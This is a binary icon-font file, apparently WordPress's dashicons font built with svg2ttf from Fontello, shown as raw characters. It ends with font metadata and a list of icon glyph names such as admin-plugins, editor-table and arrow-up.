-o
M//M		��#/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z�))��4

��
$�>�


M  ML��-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?�
-�
-�
33
�3

3�33�33�33�33l���

��

��333343��/'#'&'&6765.>27&'>7656�"	3DC6	#)3-,>-
.5	)`J#��#K	!?
a�;D;##;D;�b@!��
2!767676'7'7''70S* �f$&�__:�3_X
���@  ����KG
!n
tGIhj��NW`n{��%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"�-?			
	?-#!&	4	'
""�	W
ED	L	LYLL�@-
&%
-@

/:":*



*:":/d3�@
;3��-=&"2?>&"2?64"/"&4?624'&/;2 � �=� �k k. � ��		"��� =� � �k k. ����)"'&'7.'76767&327'267'#"'t+&T&+s9&?3
/1v3(#&@@&'R�$$�K$1J~,.�-�#'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mf��f33g44f33�33g44f33�33g44f33�33g44f33f��f3333M33333�44444�33333�33333�33�3��%.%54'&'&'&#'57'"32767"2>&�
)+
	!/2F>�$'%4%'O@ ,!MM!,	
@{:N00P8��''';676?4'&'&'7'"2>&R88/+''+�))))$'%4%'M$$M%>>%))�:N00P8��GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7�\\: ".))." ��%
%
j
g;;;�6^\89HH6E!
''
,����!"3!26=4&#!"&=463!2���f��f�����
��!*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!���




M




n!
����f��\W�\W�
Z
8WW
��+/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53�M�fMf��f��f3f44g3�3f44g3�3�44f33����@@@@�z��4444433333333333��+/37;3!3546235462#26=4&"26=4&"5!75#35#35#�M�fM f ��f��f3�4�3���g@@@@������������32#!"&546;73264&"�K�jKMf3*<<T<<���.3��<U<<U<��	5###72"&46�M��3��--?--�33�4��-@--@-��,3<%264&"7#.#";4623462326=4&!>"264&@  \).@"'8
%2$R$2%
��	B#!�� d"36&!%%%%#$
 M��O7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM


	

$#


!+$	$,(
'%("35 !
  
9				 -	-(
'H;A��"+732#!"&5#"&46;2!#2"&4632"&46���3

MLf�
 � �3�g    ��	!!3#3�M�f�4�M�M4���&/8%>54&"&"'654&"2"&462"&462"&46�
*
j
 6*
L����
3;�
'		
���M��%####5#�g3f3g3��f������ 1!7&54626327&546327"&='#"'�
�~l %\
1U )R����	
����	
���52'3".4>1R0ʹ1RaS00S�0R1��0S00SaR1�-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71#$���~
	S�����������$ $���B	

�~������$2".4>2>4."7/18^77^p^77^8*F**FTF**FsM�7^p^77^p^7��*FTF**FTF*�6R{{�� 654&#"&#"3!264&'77{<*1&#,5$%5/�R$.a$
*= %
2"$66F4�Q$.b$��!654&#"&#";5#7#3264&{<*1&#,5$ZMssLY%5/
*= %
2"$6MssM6F4��4654&#"&#"3!264&}<*1

&#,5$%5-*=%
2"$66G3��$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&�
	


..$'S d,

��+<<U<<

			

		




i%+(D
K%($
	
a<U<<U<{
		
	

�� 73!265%;26=!"3'46;#"&f�����'55'+�a�3T2\]��*&"'&"2?64/76467>76?'�5/�.��	
,�\�.�/5�,
	�\��73#3#M��͙�����%7'3���]]��]]��55����]]4]]��733#�MfMMf4��4����
�������5!5557!'7�3gg3��ggMM&�3ML3�M&�3ML3��7''#373���33�=\��\\{{3{{��7553#5͚��33��]4]]{{��{{�37'#3g��gMf��f��&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33g��gE

	 

'				Mf��f�
#^#

	#6'	

�(		*	
��8<!2#!&546!%47676763#!"&=27676762!!8�
�p���	�
$�4�����
)���g

�g

	�3��
(09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7�[
�V*g>
ufB#8^77^8#B4�u�+7M��0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<<U<<3333341R0W\1R00RbR00R.1R00RbR0!,
\A[0R<U<<U<�3333335
�M

MlM

3
)M��
.:CJ467#"".52>=7#".52>=#"'3.'.53264&"7##5#�1R0W\1R00RbR00R.1R00RbR0!,
\A[0R�+<<U<<*M333f5
�M

MlM

3
)M<U<<U<�MLL��
.:CJ467#"#".52>=#"".52>='3.'.53264&"7533'�1R0W�.1R00RbR0!,
\1R00RbR00R1A[0R�+<<U<<33MLf5
~M

3fM

M�
)M<U<<U<fMMLL��*6G264&"7#5467#"#".52>=#"'3.'.5".52>=f+<<U<<w�41R0W�.1R00RbR0!,
\A[0R11R00RbR00R<U<<U<�335
~M

3
)M�M

M��
.:CI467#"#".52>=#"".52>='3.'.53264&"'7'�1R0W�.1R00RbR0!,
\1R00RbR00R1A[0R�+<<U<<+J\=f5
~M

3fM

M�
)M<U<<U<q,J\>��.?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00Rf�M

MfM

MgMM��!$!2+32!546;5#"&5465!73Mf�3�3�X������
4

4
紴�f��2".4>'7''78^77^p^77^�MM3MM3MM3MM�7^p^77^p^7��MM3MM3MM3MM��35!353'35g3��4�M��M���͚4������0&'.767676?>327&67626&� JA)7*
�!@$7
@		3��77/7676�!�"!�$�T
��$�!�!�"!�$+T
�$��	��#!5#'.#3576&?f3�d!	��g�@q)���3C!�͚f	�@q)��
?677'dE	͏�=��g���E	���P�������5#5!5#5!f�������33f33g33f33��5#5!5#5!3�f����f���33f33g33f33��5#5!5#5!���f���33f33g33f33��32654&'5>54&#532#32+�t5=;C#')8+���3-!&',)�J'8*��3!'73�3�怀���MgfM��'77'7�ff��Mff��fff4���ff4����7'7#7!75#35'!'3�:: f `�f` f :: f `�` fS`��` g 99 g `f` g 99 g��$235#67654&"#35&'&'&54613*�^%U�T%]�3v751#33"'/DOPC/'!33!157��	3#3'735'75!#7'����g8aga8";a��ga;3ffa9Gf9aG!_9ff9_��%.4."2>'#5467>4&#"'632&462"�0RbR00RbR0�(
!%%&1R00RbR00R

!	O
��"53753355#%53535335353M�ff3ff3�泳��f�M�33M3ZY3333M44L33M33��5!5#35#35#5!���MM�f�MM��Mffg444444�ff��#3#737#73z6H6�6H6�f�33�4��!!!!!!!!3��f��f��f��f�3334333��#'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#5�4��fM3�3�4�3�3f�4��fM3�3�4̀�3�3͚��ffM4444444444���ͳ��33333333L444444��!$#";2654622653264&7M� 55 
	��5?5�

3

��

Mg�f��#S\`dh6235#767654'&/&""#6&#676514'&#"632632+32#"'"'26542735#35#35#35#�)H,
1




'3!
��������)


�

#Of
'����(,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#�!
I�� ,

f��!






!��Mf
	
E3�2K


��"5#5##553%5#5#5##5#5#�ff�3ff3泳��f�M�3333ZY3333M44L33M33��!#";2654622653264&�� 55 
�5@5�3
��M��$,!57264&"732#!"&546;!55#335=C�D<�'��'44�L4�MMM��3<<�44����$1!57264&"4&+!57#"3!26'#'#'3737=C�D<�'��'fM335134�MMM��3<=��ش���������'74'&'&&67'32674'&'&&67'326�-##;#)2%!+�-##;#)1& +�F24;C/7'!F24;C/7'��$"/&=4?62764/&"2n�-9�-��7�7�6�86���7�7��!$#";2654622653264&5M� 55 
	��5?5�

3

��

M�f���/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''�		
	-"$!	�9:;67
 n,d����f�
$&)8���+o�
@+
($
����M�NAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264�
!7$:".-	!	 .		
	KK	��p
k,�1�@@++@@@@	
	

U*
D+��%!!5!#53#53#53#53�fg��4������������Mf��3�444�333��
%3#373'#7S0i4f0kR&���M'}��"&"&46273#"&46273#"&46273#� 0��@ 0��@ 0��M  3�  3�  3g�#"'&=#27655#f3$63y���%'#��- ''-�33��!58;>'?64&"'6?>'3''7.6?27'#'7'�'6+' .='99��͚4f3��ͽ#89+$<'!-͚4f3����99'*'. ?7'A����gf3�<$+98#(-!����gf3��#'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5�M�MM�M����������f��33��33�4"&462%"264&#"264&�**3*�******��-%54&#!"3!26'"/'"'&?'.7676���g!hd	p67p	dh������`h_11_h`
����7%>=4&'&7>7>���4��
��
�{.�z.�K�s:�	��!2#!"=47>.'&cS00��0ڬ��
�.�..�.ݎcc��#)!"3!26=4&#"&463253'757'5���f�M*ff&&LL&&M���Mg+n�&'&MM�&'&'M��!"3!26=4&'757'5���fb&&LL&&M����&'&MM�&'&'M��$-!"3!26=4&#53'757'5'5'7264&"���fȳ�f&&LL&&M�.4���͙s&'&MM�&'&'M@&.>��-39!"3!26=4&'&76?'76?>'7&'757'5���f�
!!
	M�&&LL&&M����	"
"		J0&'&MM�&'&'M��#!"3!26=4&'#537'757'5���f�3��3f&&LL&&M����$1�."g&'&MM�&'&'M��%)%4&#!"3!262"&46!!52"&46!!5�
�f

�
��W��4W��3�

�f
��������3#35#7'7'M33ff�n$��$n�3�3f�4n$��$n��3'5'7#57!3#��3�$�h33���4f��O�$��M3�3�o�73537#5476;5&#"#3�K>
H	& *3??3�I.
A3-6I��$!2+537#546;5&#"#3#"&546Jl


h5=
 %+55�	�
��

�>'8+'->�
l

��#!2#!"&5465!735335353353�

�f
���M��M����f�����MMfMM��576762'./5M!!.T.!!�!�33����7#7567'&'&'&�3M#.1+#+51&3�����	���$0C"#54&"#54&"26=>=4&3265""26=>'4&�- -�%&�	@@	@@	T��T	
���,2#(��(#2��!!!5!55#7#̙��L4��4��̀��͙�g�f���%6"&46325#"&4632546�
4J55%�3"%44%�3��%55J4	�3� ,4J5	�

��&#"5#"&=46;232+'#"&=46#M3��3Mf$/MM�f�LL���&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+�2��2K����  3
�


�����2K��@ c

͚





����>!2#!"&546!4&"2647676763#!"&=2176767632:��t����**M	� 
 ��t��gf��+k"��3


��)74'&'&&67'32674'&'&&67'326�
5)*+#&
;+'2�
5)),"&
:+'2�!%R:"&-2lA-'!%R:"&-2lA-��'092"'&476264&"3264&"3264&"2"&462"&46}9009�9009
 � � � =
�0)�)00)�)0�      �  3��	
 !2%46373#37#37#3!73�
�4q43M3�3�3M������
�f�
MMMMMMM����gf��
#&),/3#7357#53%'7'35#!#53#57#7'533����&M̀��&�''@'M3������&'M''Z&@&Mͳ���@&���@'MM'&
'������''g'&&'M@&��
#77'77535''3'7��.E'H�.H'E.s'E+�.�E.�.H̀.H'E..E'E+��'E.�.HE+�.E��
357''375#!#77'W$H.�.�H$H.���H$H.�f�.H$H�$H.�.$H$H.��H$H.��.H$H��+4=.+"76767627>'&##5#53533"&4627"&462�(�('&��



1

s+85W
			W58.&


*




�� #3'.'&>727.#"32>5'&�pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:��!2#!"&5465#!5#5#!5#3�

�f
��f�3�f��
�f

�
̙���͙�����!-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6�""n	
�
	 1j2 ' �
"*-

�-*"
�**#)$$$$��n/88/n
�&6a](//(]`7&��'7&'"/&47%&'6�$Y$v�;Vi?^$W$!�x�% "��#5#3533@�@@�@�������M��%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+��&<@&"&#764&'677&6762&'+6267>7.26�
>**I{",+	E��"1/Im



� !i<?q$

rf*<�>J?
(+	H	�!.BK8	
;  39;3	f<��)%#&'&'67673264&#!";#"3!264&�
0.
��
0.
f6 ''!56 ''!5��#)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&�L3�;;YY.;;YYf44�33�gg�WW�P@@P�f:;ZY�;:YZ	��#<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!�f��

р��W#


�MMMM��4��3��
	
	
C3/  4L4��8<@D%!!>?6.#"25#'"276?54.#5#5#5!�f���

	��#
瀀����f4t
	


	ff  533�%##5#5#535337'#35�fM�ffM�MMfgf�Mff�MffLM��gf��4&"26>.>.f<T<<T<��%+QJ*R�%Q+JR*j*<<U<<PRJ*RI�JR*IR�##5#353#%'��4��4
@fff���MMfMM��f��
ZZZZ��#!5#535!%3'!!#M��MMf��Z���fY�Z4��4��3f�@f#47635"#%#!35#33'!!�2'<E.C�����͚MM���#6G9W�����3�M�#7#4&#2%!3!5#3535!5�2RC-F;'����3ML�WW9G6C��3�M�暚�� 2#"&'732>4.#"5>@529925@<h BA%)G**G)%A.�0!c� ii 7/'#*GQG*"&4�)+1�� )375#!33!5"34&5#734&"5#%264&"5"'.'&#f3343�̀g��f*�*H*"@!+�MMM�M3̀�M���++f3'���!'!##!3535!7"&4625!5#7!5!5#�f33��33M���*��M�������433���g**���晀����!!54&+"#5!##5#5��w
�f�3������gV33�f33f44��&735#7"264&'"2>4.".4>2�44

?j==j~j==j?1R00RbR00R��ff=j~j==j~j=�g0RbR00RbR0��2".4>4&"265#8^77^p^77^R4�7^p^77^p^7gܚ���%)73535#5##32>4."2".4>!5!�4334331R00RbR00R1#;"";F;"";�f���33333�0RcR00RcR04";G:"":G;"��3��%)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";�f333333�0RcR00RcR0��";G:"":G;"�33��%"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL�=j~j==j~j=�g0RbR00RbR0L4LL4��G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X=�%"	#%%#	#%�!"6�3%*.�3%((:((,==X==B1
"% %"	#$%#�T3%!!-�-!!-�� !2#!"&546!!'#5!3!26Mf��Y��4M�f�4���3ͳf���3#3#73#3#!!3������gg�����������f�g�g?7M�4���g��ge�� 22+"&=4&/&'&54>53++"&5#"&'B'
	f		'B&�3
�&B''B&�j


��"73#7"264&5#3547>354'&'&@MM&'�LL*M!<3~&&�+����1	��%)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53�

�f
=W��4W��4W��4W��
�

�f
�33f33g33f33��%7>54&"72"&467'57M&5% <T}���n,��&&^  z"�443�4%���""676?67654.2"&46*F*""*F*$44H44�*F*$",,"$*F*B3I44I3��%-#54&"#"3!26=4&#7.54627#5462�<T<


p4

$f*L+<<+L
�

�
�9
{L��2".4>2>4."8^77^p^77^8#;"";F;"";�7^p^77^p^7��";F;"";F;"
��

%.!3'7'7'726'&/72"&463g���MMf...M...M...'3�g���gM
3

4

3
f	 =��'!3'54&#&+"276=7&3263g���MMm	M
�g���gM���WU;
��
!'7'37'3g�̀33MMfMM33�g�����34MLLM43��!3'3g���MM�g���gM
��#'!353'355!355#'355!5#3g���MM��f�f���f�����g���MM3MMMML4��#!3'5#3373/"&4627#5#53g���MM3�LMvMM��g���gM�癙4444L444M�� $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g�̴�MM�4�MfM�4�MfM�4�MfM�4�MfM�4�g���gMM33334��!353'355!5!5!5#3g���MM��f������g���MM3M333��!3'54&+";2653g���MM
M

M
L3�g���gM��LL�3��(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>��9M		�,&:
!!
 !

h2!��	9	�#3�43 	*(n�
	
��7!5!!5!!5Mf��f��f�4�444��7!5!5!5!5!�����3�33�4�5!5!5!����MM�MM�MM��7!5!5!5!5!Mf��f��f���3�33�4��/54&"26732+"&46;5.54622654623**gI73�

36J<T<��9U
55
U9

+<<+
��35#35#7355#f��͚4����f4��4�M��M�!!f4��4��9FS&'.46767627&'&#5##"'&'33567>4&'&'"2>4.".4>2


			&7_77_n_77_70Q00Q`Q00Q			
$$

	"'
�7_n_77_n_7��0Q`Q00Q`Q0�&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(

���		
p !e))9	
#x%%���"1�			
�

):)Y%��5#3'35#'735#7#35�ffLffLffffLffLffLffffLffLffffL��26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3
4

4
3�MDM4���M�&~&:N:�M

MX�������4
���U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32�f�f�f�f��LL33LL33LL33LL3''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[��''7'776[7Z[6[[6[[6Z7[[6[[6[[7��'#7!
3�'3M3f4����<E267632&"632.#"#476767&#"67632&'&#">4&"26�
*g!25!*�/,/RD#(, #L�  �
$1+&
)A
F@ZC=6)%25'	#� ��>&/.6?>"&4?64&"6?64&''&'&67676��?@~0
~~~

0�,		1�BB�BB?~0
�@,��",2:7#3264&#!+#532+5327#3##535!533#3264&���M�.i$$_3&&M��f��3�f�fff�f�4��*3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7��tN&%%'- }��M8H7^88^7H�)L
(LN
 -��-9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1	
P
	
��"#R9&&42+&9)'P55-A!!A-��
-8'&6?6767'&'776?67676''&76?>5	
M
gq	:`

/p

A
��
M
f

N
q.

BYq)	
A
�M
	��="6?4'&67632#&=674&1676?32>4.6(&'	!37# 	
	 '>"+I�E(5P!,+"
0"{'2,$
*FSC&��)-15!5!5#%&#"26757&#"26=4&5#5#����������(�
*	��gg�33f33g443u)Y)��33f33��"&5!5!5#732+"&=467'5#5#������gg���XUU�ggg�33f33g444�

��43M33f33����"676.5&'&'&7676.76&%2?3276?'\O.Oy=:6EN/A�
O.O��	a
�}O.Ou`02>EN3F�
O/R#
 b
���.>535#5##3�)QllQQllFggLgg�(llQQllQ��gLggLg��##5#5353��4��44��4����##5#5353��M��MMM��M����;%'&4632>54&"264.264/.>676&Ri


.B.i#"YXD"ii0BA!�i

 /.Ci
!CZY!iiBA0 \%4}��7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR(	�Ttf7
��
+
R
aq
,=p:�
�di
<	#


��
�	
%
$��g�15.5462264&"f+!

!+<T<�f#7�	�7#+<<��%2#"'!3>264&"3276?z"11"		���."!!0!R	S�0E1���%'�"/""S	S��#'+/%#3#3'#37#5!#";!5326=4&#535#53#533����MMM�3�333Y����4�MM�gg������fM���
 8"3'656&'"35.'>75+"&=46;5>232
!
	E�bOObM�(6(
$$n
''
UMMT��TM�g'&&'��$+3!354>32632!35471"54&#1'354��f";##;"��3 -- M43��3#;"

";#33*#-S3 -#*3l"33"��
5##537353'#5#'735�gf�M3����M3�g�ffL3�3�338.3�L38.33��-6FO%4&"&#7264&#"'#""&"32>=>462"&'"'&762776'"&462�<<C	GB6
&
0RbR0���(%*#!"
�'a

n'%":"":"
G,��355#";#".4>̀���*==*��*F**F�MgfM<U<3)GSG)��"2>4.".4>2'35?j==j~j==j?1R00RbR00R���=j~j==j~j=�g0RbR00RbR0�44��5%"#4'723264&"&#5>54&"3267332656&�'l�%%5&�#,A,<*.x(.-��&5%%
�l' ,, 'x/+<- ,��
!%34'&'&#234.#2264&"~O87\`oZMK,-�OI}I'E7�  -  3m^\57M,,ILYH{GM6E%,  ,�y'7��H$l�x�H$k���!!537535353!533533��fg3f3g�f�g�g�g�ff333M�����ggMM��5#!5#5#!5#�f�4�f�����͙����� ).'&/&'&'.>64&"27#
		
	([!6HI	5J44J�$c)
	%
!IH6�K44K4��$-R&'.'&#537>764&"26&>7>75673#'.�		vD
 "''" U&4&&4&�		


vD
 !''! l		

L{&&4&&R	
L��
5>75!57!3#̀:$0%[S�3���F+N3fL
,ENN��3)�'��"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq�-@-- 		;-@-;		 --@-;		;��!3'&'&'&'&'&'&'&52767$#.!6

@@ �
~\C+	
!%).3

��!83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6

@@ �#'(�	�
~\C+	
!%).3

�#	

�#$
��7#535#33#3#3�44gg6^6R44g��4��f4�44�g75!%53735;#'5#5#���34�433M������������gM33��32+"&546#73�����ff���f�����{,2'&#"1&54632'&#"1&546267'"&'��
7Gu"bxb"u{��SD8FF8DS�M!3!'��L�M����#*14."2>%'>&'7"&4627.'67�7^p^77^p^7��&`1`&1�*�`&1�&`18^77^p^77^�`&1P&`1�**&`1?`&1��0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_()^,2g/
.j5

:y40HC3
;IS6�7_n_77_n_7��
	/	
5!��	7'7/'7'7M�i��i�M<wQxxQw�w�LL�w`x[�<<�[��	'7'7M�i��i��w�LL�w��	7'7/'M�i��i�M<wQx�w�LL�w`x[�<g�!57#"'&'&=#5>=4&��WX�AB'
&BB		BB&
' D276527652765276='!35335&'&'&5"&'&5"&'&5....M��fM�f�
//
       �� ����	
	
	


��!7'7'?��M�͡,,$11$�M��d1$+.!��73%#?'73>'5'���3��J@�d�&�H>�(25S,����.�,MMNAv.�$Mg9M
%535#5##3!#3#3#3!!h^^,__����������H��'�].]].]��5�b!b!bh��
#33535#5!!!#3#3#3�^^,__���'��������].]].]���5���hb!b!b
#/75'7'!%#5'#5'#3753753''7'77�!!�  ���������PT'SP(PR'RP !! F!��5B..h<;;+��PS'SQ'PR(RP
%#5##3353!#37#37#3!!bJ$JJ$J�������������5�JJ"JJ��5�bbbbb�
33535#5##!%35#35#!!#3�J$JJ$J���������5˄�[JJ"JJ���5Bbbb�b
#%'7''7!'#'35#735!3#3#!�PQ'RP'RT'TP�` !-. �5� ��!���PR'RQ&RT'TQ~�5�!b!bb!b!b��!2#!"&546!3f4

��
$������f��4�����
3'%264&"���L+ͳ��f++
��#'!5!#5#5!!5#5!#5#5!#53#53#5�̳�������f�g�3�f�ffff�MMMMf3333M��!2+5#"&=46!!!!#3f4��/����4M�������334��!#537#535#535#53Mf���3�������4��333��!5!5!#5#5!#5!5�f��g����f���33f3333g3333f33��"7"'1.?64&+"&5471676;#%#53�	M3�6N333
F�		�t
����!21;2+53>7>3#F	M�6N��33�
FVT		�t
���"4Q_5&%7>&'776&/&326'/.?>323!5264&#53;26=546;+"&&�~'#�#�
��#�#
�
�fI


�
����]I''H�H('I��`F`
F�FaF`��
ML*Nf

-fH1��<BJQiy���1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!5264&#53265'3'72&#647.77?7#"&�~'�%OM%OM3"

'
.`
q6%*
U5�fm<U<�%
",k,
.
vvH(&I�G(&I�(M$PM$�
i	*2i	?�3`C	. NRYLK+N''+<<+@
(<d:x-?!8*Q]QO��7!55%!6767Mf^U\��fMMf�k�6J6�7M3����*KR#"'#373#"&=46;2#732+"&=465#5##3#2673&?"&'>7&'3'I=+H��s4s���RQ 
#/0	#
?6M
E�3f�fK2���77#		

$1��32!546;>23."!+"&'3M��
M%.%bMk
�	�X��	
��	337375#5#5!#3'#3ER..K�#@g8O.@$$g$$�C��))���;33�Cddd��%#"=3264&+54&"3265.d��!!�!-:� !�
M-6�6 !!��0#"'327.'327.=.47&54632676� :@RNB
A30		
!*
#e:7'$
 �@<@%**($4"
)2,4
'7"��#5532+32>4.3����*==*��*F**F�MgfM<U<3)GSG)��<4."2>'2"&46476?'&'1'&7671'&'&�>i~i>>i~i>� �,2,,2,"

%
	"?i>>i~i>>i�  y	7>'8D"#$(#j54	��/2"&46476?'&'1'&7671'&'& �,2,,2,"

%
	"�  y	7>'8D"#$(#j54	��+54&"#46232#!"&=463'>54&"3*3<T<��

 

L+<<+L���77��#>327.#"#?3#"&'32>73�>(.+F(,L25YZ�Z;
<(.+F(,L25&33(F+gg3g'21 (F+��#23'3.#"'>".'#7#3267-L26ZZ<	>(0+F,M26ZZ<	>(0+F�(G+ff'22 ��(G+ff'22 ��75#7#5#!5#�M��M�444�����4��͚��+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467���f��f�����<U<<U<g+Mf��f L4L �*<<T<<w�� 4&+";267'54&+";26��

��gg�

��uf�g3����%54&+";2673�������Uss��%4&#!"3!26%5���M�癀�/�f��5.6767>7'&'62"&4"&'672>=4&'�)�EG:+")@>�:)
�	;i!/I/90
I/!i
:9*!6:( @	�92B'1/$B29��2".4>7#64&"28^77^p^77^U	L	8	$#�7^p^77^p^7�V	��5#5##!5357##5#5353�3M�433MM3���333333��!2+5#"&=46'7''7�3�M�@@@@@@@@������@@@@@@@@� '#'%%"264&7&#".#"67�3&��
1QQ1

L��$gg�9&.0''0.&��#+%4&#!"3!26'2"&'>4&"263!5353���f�+O  OVO  O^**3M��M̚

��($%((%$(L+�
��(,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#�
���
��M��MMM��,ff����,ff�M��,fffM��
>gM333333��M

333��!!7627'�$n��.��$��$n��.�%�6��@.7327>&#'&'&'&'476;2767>�am_2L45<2/1S?*
	)
n/1:am/Mam�>'!

����AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'Ev�vEEu�vE��We;,P
			N	&!�=4�:F�B"#EvEEv�uEEvD�
/8 
'7�W'2;?jpC2*��	MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'Eu�uEEu�uE�?i>>i~i>>iN
Z5'H

	EpC7��a3?�; FuEEu�uEEu,>i~i>>i~i>���
*2	

#1�N��
,n_��d<.O���%&+"3;2?6'&+";26/�;)@:@�:@AT	;Rq
En
p�
rs����"2>4.#'778^77^p^77^H"S"B�"�7^p^77^p^7��t >���#'7|"�"S"B��t =��&'&'&"727676545�5-$QP5-$QP��x=v=9?;��M�				"	-
+6a	t	�	�	�	�	�	
V�	&6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer
admin-generic
admin-homeadmin-linksadmin-mediaadmin-multisite
admin-network
admin-page
admin-plugins
admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3
admin-siteadmin-toolsadmin-usersairplanealbumalign-centeralign-full-width
align-left
align-nonealign-pull-leftalign-pull-rightalign-right
align-wideamazon	analyticsarchivearrow-down-altarrow-down-alt2
arrow-downarrow-left-altarrow-left-alt2
arrow-leftarrow-right-altarrow-right-alt2arrow-rightarrow-up-alt
arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell
block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groupsbuddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuildingbusinessmanbusinessperson
businesswomanbutton
calculatorcalendar-altcalendar
camera-altcameracarcarrotcartcategory
chart-area	chart-bar
chart-line	chart-pie	clipboardclockcloud-savedcloud-uploadcloudcode-standardscoffeecolor-pickercolumns
controls-backcontrols-forwardcontrols-pause
controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeoncover-image	dashboarddatabase-adddatabase-exportdatabase-importdatabase-remove
database-viewdatabasedesktopdismissdownload	drumstick
edit-large	edit-pageediteditor-aligncentereditor-alignlefteditor-alignrighteditor-boldeditor-breakeditor-code-duplicateeditor-contracteditor-customchar
editor-expandeditor-help
editor-indenteditor-insertmore
editor-italiceditor-justifyeditor-kitchensink
editor-ltr
editor-ol-rtl	editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-wordeditor-quoteeditor-removeformatting
editor-rtleditor-spellcheckeditor-strikethrougheditor-tableeditor-textcolor	editor-uleditor-underline
editor-unlinkeditor-videoellipsis	email-alt
email-alt2emailembed-audio
embed-genericembed-photo
embed-postembed-videoexcerpt-viewexitexternalfacebook-altfacebookfeedbackfilterflagfoodformat-asideformat-audioformat-chatformat-galleryformat-imageformat-quote
format-statusformat-videoformsfullscreen-altfullscreen-exit-altgamesgoogle	grid-viewgroupshammerheadinghearthidden	hourglasshtmlid-altid
image-cropimage-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-rightimage-rotate
images-altimages-alt2
index-cardinfo-outlineinfoinsert-after
insert-beforeinsert	instagramlaptoplayout	leftright	lightbulblinkedin	list-viewlocation-altlocationlock-duplicatemarker
media-archivemedia-audio
media-code
media-defaultmedia-documentmedia-interactivemedia-spreadsheet
media-textmedia-video	megaphonemenu-alt	menu-alt2	menu-alt3menu
microphonemigrateminus	money-altmoneymovenametag
networkingno-altnoopen-folderpalmtree	paperclippdfperformancepetsphone	pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt	plus-alt2pluspodio	portfoliopost-status	pressthisprinterprivacyproducts	randomizeredditredoremoverest-apirsssavedschedule
screenoptionssearch	share-alt
share-alt2share
shield-altshield	shortcodeslides
smartphonesmileysortsosspotify
star-emptystar-filled	star-halfstickystore
superhero-alt	superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloudtestimonial	text-pagetextthumbs-down	thumbs-uptickets-altticketstidetranslationtrashtwitchtwitter-alttwitterundouniversal-access-altuniversal-accessunlock
update-altupdateuploadvault	video-alt
video-alt2
video-alt3
visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp
